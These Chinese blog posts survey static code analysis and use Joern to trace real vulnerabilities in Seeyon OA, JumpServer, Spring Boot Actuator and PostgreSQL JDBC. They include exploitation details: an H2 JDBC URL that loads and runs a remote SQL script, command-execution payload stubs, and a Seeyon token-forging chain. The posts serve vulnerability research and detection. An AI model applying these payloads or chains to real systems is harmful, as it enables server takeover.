在安全领域里,每个安全研究人员在研究的过程中,也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。
而SAST作为自动化代码分析的一种,有着其特有的定位以及作用,这篇文章我们就来聊聊静态分析的一些发展历程和思路。
本篇文章其实在2年前曾经写过一次,在2年后的今天处于偶然的契机正好要写一篇相关的文章,所以重写了这部分内容,其中修正了不少在这期间内探索获取的新理念和思路,希望有价值。
静态代码分析主要是通过分析目标代码,通过纯静态的手段进行分析处理,并挖掘相应的漏洞/Bug.
再过去的十几年里,静态代码分析工具经历了长期的发展与演变过程,下面我们就一起回顾一下(下面的每个时期主要代表的相对的发展期,并不是比较绝对的诞生前后):
如果我问你“如果让你设计一个自动化代码审计工具,你会怎么设计?”,我相信,你一定会回答我,可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。
这里我们拿PHP做个简单的例子。
虽然我们匹配到了这个简单的漏洞,但是很快发现,事情并没有那么简单。
也许你说你可以通过简单的关键字重新匹配到这个问题
1 | \beval\(\$ |
但是可惜的是,作为安全研究员,你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择:
这类工具最经典的就是Seay,通过简单的关键字来匹配经可能多的目标,之后使用者可以通过人工审计的方式进一步确认。
1 | \beval\b\( |
这类工具最经典的是Rips免费版
1 | \beval\b\(\$_(GET|POST) |
用更多的正则来约束,用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。
但问题显而易见,高覆盖性和高可用性是这种实现方法永远无法解决的硬伤,不但维护成本巨大,而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。
有人忽略问题,也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯,你也就没办法通过任何制式的匹配来确认漏洞,那么基于AST的代码分析方式就诞生了,开发人员是不同的,但编译器是相同的。
在分享这种原理之前,我们首先可以复习一下编译原理。拿PHP代码举例子:
随着PHP7的诞生,AST也作为PHP解释执行的中间层出现在了编译过程的一环。
通过词法分析和语法分析,我们可以将任意一份代码转化为AST语法树。PHP常见的语义分析库可以参考:
当我们得到了一份AST语法树之后,我们就解决了前面提到的关键字匹配最大的问题,至少我们现在对于不同的代码,都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。
在理解如何分析AST语法树之前,我们首先要明白infomation flow、source、sink三个概念,
把这个概念放在PHP代码审计过程中,Source就是指用户可控的输入,比如$_GET、$_POST等,而Sink就是指我们要找到的敏感函数,比如echo、eval,如果某一个Source到Sink存在一个完整的流,那么我们就可以认为存在一个可控的漏洞,这也就是基于infomation flow的代码审计原理。
在明白了基础原理的基础上,我举几个简单的例子:
在上面的分析过程中,Sink就是eval函数,Source就是$_GET,通过回溯Sink的来源,我们成功找到了一条流向Source的infomation flow,也就成功发现了这个漏洞。
在分析infomation flow的过程中,明确作用域是基础中的基础.这也是分析infomation flow的关键,我们可以一起看看一段简单的代码
如果我们很简单的跟踪赋值关系去回溯,而没有考虑到函数定义的话,我们很容易将流定义为:
这样我们就错误的把这段代码定义成了存在漏洞,但很显然并不是,而正确的分析流程应该是这样的:
在这段代码中,从主语法树的作用域跟到Get函数的作用域,如何维持作用域的变动,就是基于AST语法树分析的一大难点,当我们在代码中不可避免的使用递归来控制作用域时,在多层递归中的统一标准也就成了分析的基础核心问题。
事实上,即便你做好了这个最简单的基础核心问题,你也会遇到层出不穷的问题。这里我举两个简单的例子
(1) 新函数封装
这是一段很经典的代码,敏感函数被封装成了新的敏感函数,参数是被二次传递的。为了解决,这样infomation flow的方向从逆向->正向的问题。
(2) 多重调用链
这是一段有漏洞的JS代码,人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。
这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。
如果说,前面的两个问题是可以被解决的话,还有很多问题是很难被解决的,这里举一个简单的例子。
这是一个典型的全局过滤,人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中,当回溯到Source为$_GET[‘a’]时,已经满足了从Source到sink的infomation flow,已经被识别为漏洞。一个典型的误报就出现了。
而基于AST的自动化代码审计工具也正是在与这样的问题做博弈,对于基于AST的代码分析来说,最大的挑战在于没人能保证自己完美的处理所有的AST结构,再加上基于单向流的分析方式,无法应对100%的场景。
如果深度了解过基于AST的代码分析原理的话,不难发现许多弊端。首先AST是编译原理中IR/CFG的更上层,其内容更接近源代码。
也就是说,分析AST更接近分析代码,换句话就是说基于AST的分析得到的流,更接近脑子里对代码执行里的流程,忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件,这也是基于AST的代码分析的普遍解决方案,当然,从结果论上很难辨别忽略带来的后果。而基于IR/CFG这类带有控制流的解决方案,则是另一种解决思路。
首先我们得知道什么是IR/CFG。
一般来说,我们需要遍历IR来生成CFG,当然,你也可以用AST来生成CFG,毕竟AST是比较高的层级。
而基于CFG的代码分析思路优势在于,对于一份代码来说,你首先有了一份控制流图(或者说是执行顺序),然后才到漏洞挖掘这一步。比起基于AST的代码分析来说,你只需要专注于从Source到Sink的过程即可。
但其实无论是基于哪种底层,后续的分析流程与AST其实别无太大的差别,挑战的核心仍然维持在如何控制流,维持作用域,处理程序逻辑的分支过程,确认Source与Sink。上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路,其实正向的污点分析,亦或者后来被人提到比较多的指针分析,核心思路大同小异。
而代码分析的基础方面,既然存在基于AST的代码分析,又存在基于CFG的代码分析,自然也存在其他的种类。比如现在市场上主流的fortify,Checkmarx,Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分,比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析,又比如源伞实现了多种语言生成统一的IR,Joern使用了基于AST生成的CPG图结构进行分析。
事实上,无论是基于某种基础结构的代码分析,技术手段本身只有适应场景的不同,对于技术选型这件事情本身来说更重要的是你想要构建一个什么样的代码分析工具。
QL指的是一种面向对象的查询语言,用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL,一般用于查询存储在数据库中的数据。
而在代码分析领域,Semmle QL是最早诞生的QL语言,他最早被应用于LGTM,并被用于Github内置的安全扫描为大众免费提供。紧接着,CodeQL也被开发出来,作为稳定的代码分析框架在github社区化。
那么什么是QL呢?QL又和代码分析有什么关系呢?
首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么?无论是基于哪种中间件建立的代码分析流程,都离不开3个概念,流、Source、Sink,这类代码分析的原理无论是正向还是逆向,都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程,就好像编译器编译运行一样,程序总是流式运行的。这种分析的方式就是数据流分析(Data Flow)。
而QL就是把这个流的每一个环节具象化,把每个节点的操作具像成状态的变化,并且储存到数据库中。
这样一来,通过构造QL语言,我们就能找到满足条件的节点,并构造成流。下面我举一个简单的例子来说:
1 | <?php |
我们简单的把前面的流写成一个表达式
1 | echo => $_GET.is_filterxss |
这里is_filterxss被认为是输入$_GET的一个标记,在分析这类漏洞的时候,我们就可以直接用QL表达
1 | select * where { |
通过构造满足条件的语句,我们就可以找到这个漏洞(上面的代码仅为伪代码),从这样的一个例子我们不难发现,QL其实更接近一个概念,他鼓励将信息流具象化,这样我们就可以用更通用的方式去写规则筛选。
CodeQL类的工具(包括CheckMarx等等)其实就是类似的一个基础理念,通过封装底层的代码处理逻辑,并提供一个非常易用的上层平台给用户,用户可以不用了解复杂的编译原理就可以编写漏洞的规则。
但其实说到底这只是一个理念,并不是结果,以CodeQL为例子,其构建的一套语法规则并不能算是一套门槛很低的东西,反而其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。
如果说CodeQL类的工具是探索做一个通用化的代码分析框架,来解决代码分析的场景。那Joern就走了另一条路,就是工具化。
Joern的底层原理是一套基于AST生成的通用CPG(Code Property Graph)图,在图的上层实现了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。
但我们这里想讨论的并不是Joern的原理,而是理念。Joern把自己定位成了安全研究员用于代码分析的一个工具,而不是执着于用一个按钮一个规则扫描漏洞,而是提供了人和代码的桥梁。
在Joern里,我用的比较多,也是比较常见的一个场景就是寻找某个方法的调用关系。在Joern shell当中,你可以用非常简单的方法获取某个函数的调用位置,已经调用了该函数的函数。
所以在Joern当中,你可以忽略数据流分析,而是用一些非常简单的交互式命令来辅助,在Joern你可以非常简单的获取“调用了A方法的路由入口”,而更实际的利用链完全可以有人来判定,省去为了上下文分析花去的力气。
当然,Joern在某些方面是成也工具化败也工具化,cpg本身强调调用关系和引用关系,Joern shell后端引用scala易用性有余实用性不足,你几乎很难在Joern的上层做数据流分析层面的分析。
其实相较第一版本的内容来说,我没有对文章内容做太多的更改,因为对于静态分析的底层原理来说用什么技术已经没什么很大的意义了,说到底原理都是差不多的。
商业代码分析的软件包括Checkmarx、fortify等等,再到后来的CodeQL说到底其实都是技术长期积累的技术壁垒,很多问题也不是学术上的什么难点攻破。
而近几年越来越多的相关东西也如雨后春笋冒了出来,开源社区比较火的Joern、tabby、tai-e,商业公司比较火的蜚语的corax,梅子酒创业的寻臻科技,其实技术原理上的东西大同小异,说到底就是还没有足够好用的产品出来,大多代码分析的软件还停留在某个底层技术的应用上。
而代码分析工具本身的易用性和场景化遇到的问题在我看来问题更大,即便是商业化程度非常高的Checkmarx这种软件也没法非常简单直白的接入到devsecops流程当中,很多工具甚至都解决不了高误报率和扫描效率低的问题,更谈不上实用了。在我看来,一款实用的好的代码分析软件还有很长的路要走~
]]>这篇文章的漏洞源于下面这篇文章,文章中提到该漏洞影响A8, A8+, A6等多个版本,但很多版本我都找不到对应的源码,光A8就有一万个版本,下面我们尽可能的复现漏洞和探索Joern的可能性
先花一点儿篇幅简单的描述一下漏洞的基础原理,其实漏洞分为好几个部分
我们分开讨论这部分
首先我必须得说,这部分内容涉及到的代码我找了很多个版本的源码都没有找到,尝试搜索了一下原漏洞以及一些简单的分析文章其实大部分都没有提到这部分代码的来源。
我觉得最神奇的点在于,这个漏洞如果仅按照原文提及的部分,漏洞原理及其简单,而且是一个比较标准的xxe漏洞
1 | private List<Element> getNodes(String xmlString, String xpath) { |
可控参数 xmlValue,直接解base64然后就进xxe造成漏洞。
按理说这么简单的漏洞,应该早就被爆出来滥用了,但我搜索了一下相应的内容,上一次致远oa爆出来xxe漏洞原理比这个复杂多了,而且还是组件漏洞。
由于实在找不到源码,所以我猜测这个漏洞可能有两个可能性
不管咋说我的确是没有办法获得答案了,不过这不是这篇文章的重心,先往后看。
在原文中,这部分来自于agent.jar,简单来说就是一个开放到内网的服务,我查了一下应该是指这套S1服务。
在官网还可以查到这套系统,看上去应该是用于管理致远后台的平台,算是运维平台。这侧面也证明了这套系统是一套独立的系统。
在com.seeyon.agent.sfu.server.apps.configuration.controller.ConfigurationController
可以找到对应的testDBConnect
方法
可以关注到相比原文当中的截图,现在加入了对h2数据库连接的限制
1 | params.put("dbUrl", dbUrl); |
继续跟进到testDBConnect
中
从这里可以找到可以根据dburl前缀自由连接远程jdbc的方法,并允许自定义链接驱动类
这部分内容其实不算是这篇文章的重点致远oa的问题,一般来说到jdbc注入之后就是利用方式的问题了,但这里还是顺带提一下。
关于jdbc的注入后利用方式其实之前已经有过不少次相关的文章以及议题,下面这篇就是一篇总结的比较全的文章
其实jdbc可控后续导致的二次利用方案相当复杂,由于这不是这篇文章的内容,所以我们直接跳到对应的位置来看看。
想要利用jdbc注入来调用H2进行进一步利用,其中有两个比较大的问题。
H2的攻击利用的是Spring Boot H2 console的一个特性,通过控制h2数据库的连接url,我们可以迫使spring boot去加载远程的sql脚本并执行命令,类似下面这样的请求
1 | jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql' |
而这样的请求需要如下的参数
1 | spring.h2.console.enable=true |
我们简单的看下源码
在org.h2.engine.Engine#openSession
中,发起连接是可以通过INIT关键字来影响初始化数据库连接的配置
当我们使用RUNSCRIPT关键字发起远程连接时,代码将会执行到org.h2.command.dml.RunScriptCommand#execute
这也就意味着我们可以通过RUNSCRIPT来执行恶意的SQL语句,但使用RUNSCRIPT意味着,你的客户端必须出网才有可能利用。
而我们之所以要使用RUNSCRIPT,本质是因为常见的恶意SQL执行命令需要两句,而session.prepareCommand
并不支持执行多行语句
1 | CREATE ALIAS RUNCMD AS $$<JAVA METHOD>$$; |
在Spring Boot H2 console的源码中,我们可以继续寻找问题的解决办法,在SQL语句当中的JAVA方法将会执行到org.h2.util.SourceCompiler
,一共有三种编译器,分别是Java/Javascript/Groovy
如果满足source开头是//groovy
或者是@groovy
就会使用对应Groovy引擎。
利用@groovy.transform.ASTTEST
就可以使用assert来执行命令
1 | public static void main (String[] args) throws ClassNotFoundException, SQLException { |
除了Groovy以外还有JavaScript的利用方案
1 | public static void main (String[] args) throws ClassNotFoundException, SQLException { |
在前面找到对应的利用方案之后,当我们尝试去做利用的时候会发现其实后台有额外的权限验证。直接访问testDBConnenction,会报非法访问的错误。
这是因为没有传入对应的token,在com.seeyon.agent.common.utils.TokenUtils
中可以找到对应的检查
这里的tokenMap可以在com.seeyon.agent.common.getway.GetWayController
找到对应的写入位置
通过解密获得username、pwd、dogcode、versions,经过各种验证之后token会被存入全局变量
这个token会被存入最终的tokenMap当中,而到这里我们问题变成了如何模拟这个过程,在这个过程当中我们需要的信息有点儿多
跟踪 AESUtil.Decrypt到定义的位置,可以发现秘钥和iv都是默认的,可以直接使用
在com.seeyon.agent.common.controller.ConfigController
中可以找到一个方法modifyDefaultUserInfo
这个方法可以在没有任何限制的情况下修改默认用户seeyon的密码
最后剩下的一个信息则是version,这个后台的版本比较复杂,我们可以通过一个接口来获取
在com.seeyon.agent.common.controller.VersionController
的getVersion方法里可以获取对应的版本号
到这里我们获取了模拟token的所有信息,就可以在后台进行任意操作了
当问题回到源代码扫描上,我们也可以用类似的漏洞拆解来实现扫描
由于这个源码找不到,所以这里用一个类似场景写出来的语句来进行模拟挖掘和扫描。
1 | def source = cpg.method("getParameter").callIn |
我们可以通过连通初始化位置以及可控参数来判断是否存在路径,正常来说如果两个节点存在连通路径,那么就存在调用关系,但数据流的过程间分析需要更合理的判定方式,就比如这个漏洞。
SAXReader
的XXE漏洞修复方案并不是在参数的过滤上,而是在于SAXReader
对解析xml的配置
这就要求除了获得source到sink的连通性以及调用关系以外,还要对SAXReader
实例化后的属性变化有所关注,在Joern上虽然可以强行做这样的判定,但却没有特别适配的方案,甚至需要通过正则匹配等方式来解决。
照理先引入S1的包,这个东西其实代码不是很大,但是不知道为什么解出来的包非常之大,可能有一些问题。
1 | joern> importCode("S1.jar", "seeyons1") |
先找到设置了注解的testDBConnect方法
1 | cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).l |
然后再找到设置jdbc连接的位置,并设置参数为3个string
1 | cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")).l |
1 | def sink = cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String")) |
存在连通性,表示包含注解的方法参数可以连通到sink点,存在问题。
相比其他几个问题,这个jdbc的利用其实就不算源代码分析层面的部分了。
无论是通过H2的链接来配置参数还是通过特殊语句二次利用,其实本质上都是H2数据库的feature,这里我们就跳过源代码分析的部分继续看后面的部分
让我们把视角在转回S1上,其实问题很简单,由于后台主要检查token是否有效
所以我们可以尝试去寻找全局变量tokenMap初始化过的地方
1 | cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).l |
然后寻找对应调用的位置
1 | cpg.call("<operator>.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l |
可以看到涉及到tokenMap的方法出了isChecktoken以外还有getToken
然后我们继续寻找调用了getToken的地方
1 | cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).l |
然后向上寻找对应的调用函数是什么
1 | cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=>n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l |
在这里我们找到了调用gettoken的位置,也正好对应写入token的位置。
而在后续的利用条件收集中,也可以利用joern来快速挖掘和发现。
这个很简单,就像我们平时做代码审计的时候,会通过一些关键字来搜索关键代码一样,在joern中,你可以做类似的事情。我们可以搜索变量名为username的变量被调用的位置。
1 | cpg.identifier("username")._astIn.dedup.l |
当然这显得非常粗暴,数据量非常大,但我们可以做更多的限制,比如调用该变量的方法必须包含put
1 | cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l |
我们可以直接向上找到对应的函数方法定义位置
1 | cpg.identifier("username").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l |
我们可以选择几个打开看看
当然我们发现不只是有名字为password的变量,还有名为password的常量
1 | cpg.literal("\"password\"").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropert |
可以顺着这里找到写入默认账户的位置
前面提到的默认账户修改密码的点也能搜索到,这里甚至可以直接用默认账号和密码
除此之外寻找版本号的位置也可以用joern来完成,直接搜索调用了version变量的地方
1 | cpg.identifier("version").map(n=>n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=>List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l |
直接找到了对应的getVersion方法
通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标,其中的问题也相当实际,你很难在不熟悉代码的情况下利用joern做深入的扫描,这也是joern类工具的症结之一
]]>漏洞原理其实比较神奇,一个常用的第三方组件库django-simple-captcha有泄露随机数种子的问题,再配合Jumpserver使用了错误的随机数方案导致了最终的漏洞。
这里我们的目标不是分析漏洞,所以这里简单快速的分析下漏洞的成因,具体的漏洞分析可以看下面两篇文章
在分析代码级的漏洞成因之前,我想作为计算机相关的工作者,我们应该都有一个共识,就是计算机中没有真正意义的伪随机,无论是任何语言的随机数生成函数几乎都是从类似 /dev/random
的地方取值,这里我们不讨论随机数底层的问题。
在代码的上层,我们几乎可以认为如果你不知道随机数的种子,那么你就无法对随机数做出预测。换言之,如果我们知道随机数的种子,我们就有一定的概率预测随机数。
django-simple-captcha是Django的相关组件中非常流行的验证码生成库,就像phith0n所说,在国内你几乎没有别的选择,引入的方式超级简单,只要在配置里引入对应库
1 | INSTALLED_APPS = [ |
然后加入对应的验证码路由
1 | urlpatterns += [ |
最后只要在对应的form中加入验证码的字段就行了
1 | class CaptchaMixin(forms.Form): |
但事实上,看似简单的django-simple-captcha中实际包含着一个很大的问题。
这个问题在0.5.19版本中被修复
这里其实涉及到了django-simple-captcha的一个feature,在设计上其实是允许通过key来指定随机数种子的,这个feature是为了让同一个key可以对应同一个验证码,用来实现验证码的对应。
而这里的key是一个已知的值,就是用于生成验证码的参数
换言之,我们可以得知当前Random的随机数种子,甚至可以控制这个种子。
修复的方案也很简单粗暴,只要在生成结束之后用随机一个新种子就可以了
那么这对jumpserver又有什么影响呢?
相比django-simple-captcha来说,JumpServer更像是一个受害者,虽然存在一些安全隐患但本身并不致命。我们可以猜想一下随机数在一般的系统里常用的场景。
相比激活码的场景来说,重置密码的常见程度更高,如果系统内没有刻意对管理员账号做限制,那么如果可以预测重置密码的验证结果,那么就可以获得一个超级管理员权限,而JumpServer的代码中是这样做的。
/apps/authentication/api/password.py
重置密码用的code使用了random_string来生成,然后看看random_string的定义
这个函数在jumpserver中重做过好几次,但大同小异,其实就是用random.choice从列表中选取随机字符,最终生成最后的验证码。
这里我们不去细纠这个利用方式中的细节点,这不是本篇文章的讨论重点,简单来说就是
这样我们就通过对随机数的预测实现进一步的漏洞利用,而修复的方案也很简单
在最初版本的修复方案中,Jumpserver在获取密码重置token时重置了当前随机数种子。这个修复方案也没什么问题。
在后来的改动中,可能是因为看了P牛的文章,Jumpserver把random换成了secrets,相对来说比前一个方案更稳定一些,也是相关文档中推荐的方案
从源代码的角度来讲,这个漏洞成因可以分成两部分
其实这个漏洞用Joern来处理挺吃力的,首先是Joern只会处理目标目录下的源码,而在正常的环境下,python引入的包其实都在python的目录下,也就是说理论上我们无法在分析项目的时候,顺便分析django-simple-captcha。
这里我们强行引入下分析django-simple-captcha包
1 | > .\joern |
先找到random.seed调用的位置
先检查调用位置到函数定义位置是否有数据联通
1 | def source = cpg.method("seed").caller.parameter |
得到的答案是肯定的,seed的参数key可控,接着找对应的路由,在django里路由一般是用path,而这个组件使用re_path
1 | from django.urls import path |
我们可以直接快捷的查看相应的路由函数调用位置
然后通过对应的调用函数来获取指定的路由
1 | cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).l |
当然可能也不用这么麻烦,理论上来说直接设置source也是可以连起来的,只不过re_path读取key的方式是正则匹配,所以原装的reachableByFlows无法处理这种情况,我们只能强行做一些限制
1 | cpg.method("re_path").callIn.filter(_._callViaAstOut.code.contains("views.captcha_image")).filterNot(_.argument.code.contains("<key>")).l |
由于这条命令可以获取结果,所以代表着存在可以设置随机数种子的路由和对应的参数。
当然,由于漏洞的特殊性不仅仅在于可控,还需要后续没有进一步重置随机数种子,所以我们还需要更多的条件来确认这一点。
其实要做到这点也并不复杂,只需要确认,在设置seed种子的方法中,没有调用过无参的seed方法即可。
1 | cpg.method("seed").caller.filter(_._callViaContainsOut.filter(_.name.contains("seed")).filter(_.argument.size<2).size==0).l |
上面这条命令的意思是
如果返回结果,则证明该方法中没有重置新的随机数种子,当然,到这里并不能完全的验证这个结论,毕竟这里指处理了显式重置,如果是更严格的数据流分析,应该从重置随机数种子的位置入手,确认是否有数据流经过,但这种方案对于joern来说比较困难,这里先不深入到这个级别研究。
这里分析JumpServer的时候遇到的最大的问题是JumpServer的代码量有点儿大,导入到Joern里有83万个节点:<
其实相比Django-simple-captcha的问题来说,JumpServer的问题在源代码的角度上来说更不像一个问题,只能算是一个使用错误的范例,有潜在的风险。我们需要用joern完成的工作包括两部分
先找到对应调用random.choice方法的方法
而调用过seed方法重置随机数种子的位置只有一个,看了一下没有相关的引用关系,看上去像是一段测试代码
由于场景特殊,这里我们用不到那么深入的数据流分析,只需要在对应重置密码的路由中确认是否调用random.choice方法就行了
这里直接用repeat untils来实现就可以
repeat…untils…还是那个老问题,容易递归爆炸,路径重复问题严重,我觉得这是joern实现里一个非常普遍的问题,但至少可以确定两个调用位置的连通性。
接下来我们的问题变成了,我们如何知道在这条数据流中random调用了多少次。
我尝试了几次之后发现,如果想要在语句上控制限制范围,以确认random的调用次数,会遇到比较多的问题,正向分析的深入深度问题,以及循环分支的次数数据问题,问题比想象中的大,我暂且认为这不是joern的适用场景。
而相应的修复就更简单了,直接换用secrets替代random会直接影响到前面的方法发现,我们就无法获得对应的数据流了。
]]>本篇内容可以结合https://cpg.joern.io/食用
Annotation是Java中的注解节点
包含已知的所有分支跳转循环节点,包括if/else/for/do/continue/break/throw/switch/try/while等…
joern中命名空间分为namespace和namespaceBlock两个节点,file->namespaceBlock->namespace,所以这两个节点可以混在一起讲
parameter在joern被定义为,函数定义的参数,而不是函数调用的参数,所以这个节点几乎只和method节点链接
return对应method节点的返回
TypeDecl等于常规意义上class的概念
1 | "/codeinject") ( |
当前节点的调用位置方法,比如cpg.method("start").caller
就会返回codeInject方法
当前方法/函数节点的调用位置,比如cpg.method("start").callIn
就会返回调用start方法的call节点
名为start的方法的定义节点
获取当前节点向外所有的边,并展示边类型
获取当前节点向外所有的边,并展示连接到的节点
]]>这里我选用Java-sec-code的范例代码做第一部分,这篇文章记录了两个比较经典的漏洞
Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包
1 | importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar") |
SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能
1 | <dependency> |
开启后SpringBoot 1.x起始路径为/
,2.x的起始路径为/actuator
暴露路由本身不能算太大的安全问题,只能说配置不当可能导致信息泄露,可以参spring-boot.txt。
Actuator的接口配合一些组件就可能导致RCE,但防御的方法大多都是对Actuator做鉴权限制。
1 | <!-- SpringBoot Actuator命令执行的库 --> |
配合jolokia的接口可以实现jndi注入导致RCE
1 | <dependency> |
首先组件上引用eureka才行,并且Eureka-Client <1.8.7(多见于Spring Cloud Netflix)
其次需要Application要有@EnableEurekaClient
注解
1 | import org.springframework.boot.SpringApplication; |
我首先遇到的问题就是,这个漏洞其实配置问题大于其他问题,我研究了很久认为这个问题在Joern中是不可解的。
一方面Acutators开启只需要组件引用即可,另一方面比较常见的修复手段是增加鉴权,加入鉴权组件并开启配置
1 | # pom.xml |
哪怕不是用这个鉴权组件但也大同小异,关闭敏感端点之类的。
而问题回到Joern上,Joern虽然定义了ConfigFile节点,但并没有读取所有的配置文件,包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。
即便是读取了application.properties这个文件,但ConfigFile节点只有文件内容,并没有对所有的配置做分析转化。而且有时候configFile就是完全空的,也不知道问题在哪。
这个处理方式虽然很奇怪但也算能理解,Joern作为一个静态分析代码的框架,他的理念就是把上层和下层做拆分,下层只需要把代码转成CPG,上层只需要在CPG上做数据分析。
对于Joern来说,上层和下层没有直通渠道,非代码层面的信息则会被忽略掉,而专注于代码层面,这是Joern的设计理念,但同样是Joern的局限性。
1 | cpg.configFile.name(".*application.properties").where(_.content(".*management.security.enabled=false.*")).l |
1 | 9.4.1208 <= org.postgresql.postgresql < 42.2.25 |
当PostgreSQL的jdbc url属性可控时,可以通过authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供类名实例化插件实例。
1 | @RequestMapping("/postgresql") |
其实漏洞点的Joern的公式特别简单,说白了就是只要jdbc的连接链接可控就行了。
1 | def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter |
直接寻找source和sink之间的数据流
1 | sink.reachableByFlows(source).p |
可以发现我们找到了包括目标在内的5条数据流,这里的第一个问题是,我们没法确定jdbc是否支持postgreSQL来作为数据库。
在确定了入口可控之后,理论上配合组件版本其实我们就可以判断代码中是否存在该问题了,但我们并没有这个数据。
当然在静态分析的层面,我们需要从代码的角度验证漏洞存在,我们遇到的第二个问题自然是利用链的问题,所以我们需要直接去分析postgresql的组件代码。
1 | importCode("D:/program/java_pro/postgresql-42.3.1.jar", "postgresql") |
当我们可控jdbc的连接的时候,我们就可以通过构造类似的请求来调用不同类的方法来实现我们想要的结果。
1 | # 命令执行 |
这里具体的利用链我们就不重复讲了,可以直接参考上面的链接,重要的是我们怎么在joern中复现这个问题。
我们拿第一个漏洞socketFactory&socketFactoryArg的利用链作为目标来看看
从getConnection方法处,jdbc会根据不同的请求分发至不同的组件。
从connect方法一路跟进org.postgresql的代码当中,链接之后的参数会被拆解为字典然后分别进入不同的配置中,也就是说等于到url这里我们就是可控的,也就是作为source,进到包里的这个入口是connect方法
1 | def source = cpg.method.name("connect") |
最终导致漏洞的核心点则是可控的newInstance
所以我们假定调用方法newInstance是sink点,可以用caller获取调用该方法的地方,也是可以读到我们目标类方法的。
1 | def sink = cpg.method.name("newInstance") |
到这里我们会遇到一个比较大的问题,当我们试图用简单的reachableByFlows时,会无法获取到结果。
但如果我们手动去一步一步拆解caller,发现是可以一路跟到source节点的。
1 | cpg.method.name("newInstance").repeat(_.caller)(_.maxDepth(10)).name("connect").fullName.dedup.l |
repeat这个语法问题相当多,如果用repeat…until…这个语法,很大概率会卡死,几乎跑realworld代码没有不卡死的,所以我改用了限制maxDepth+条件判断的方式来查询,还算可以解决。
当然这样只能拿到最终的节点,我们可以用一个文档里没写的overflowdb语法enablePathTracking来展示调用链,这部分内容我是从@Lightless的博客偷来的。
1 | cpg.method.name("newInstance").enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name("connect").path.map(path=>path.filter(n=>n.isInstanceOf[Method]).map(n=>{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l |
当然,由于enablePathTracking的表现力很差,所以我们也可以用自己实现一套repeat,来解决重复调用等各种问题,这个代码同样来自于@LightLess。
1 | def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = { |
这个findUntil实现了repeat…untail…times的功能,而且也做了一定的去重和优化
1 | def sink = cpg.method.name("newInstance") |
虽然这里的函数调用链是正确的,但这里面有个很大的区别就是,通过repeat获取的节点非常粗暴,并不一定是成数据流。
拿下面这段代码举例子,理论上来说数据流分析应该从ctor开始一点一点往上,一直找到classname参数,然后再到方法instantiate,但如果直接用caller会直接获取到instantiate方法,也就是直接到父节点。
但事实上如果数据流追不到参数,实际上是数据流是不通的,这种方式太粗暴,有效度也不会太高。连数据流分析的层面都到不了,更别谈过程间分析了。
最关键的是,仔细研究后感觉这部分在joern中坑相当大,说白了就是Joern的CPG结构中其实没有这种执行流概念,节点之间链接只有AST指向,边的特性也没有明确的显示。
用比较通俗的话讲,就是CPG更强调调用关系,就比如调用NewInstance方法的位置属于方法Instantiate的子节点,而具体到代码块执行流程,则只是简单的AST指向关系,除了有向边以外,也没有显示这种指向关系的特殊性。
这方面的问题需要再花时间研究一下,这篇文章先不深入去讲。后面专门写文章研究这部分。
我们仿照第一个利用链的语法,直接模拟一下其他几个利用链的挖掘方式
1 | # sslfactory&sslfactroyarg,任意代码执行 |
对应的利用链其实和上一个是一样的,入口都是connect,漏洞点都是newinstance,这条利用链用上面的代码就可以查询到
1 | def sink = cpg.method.name("newInstance") |
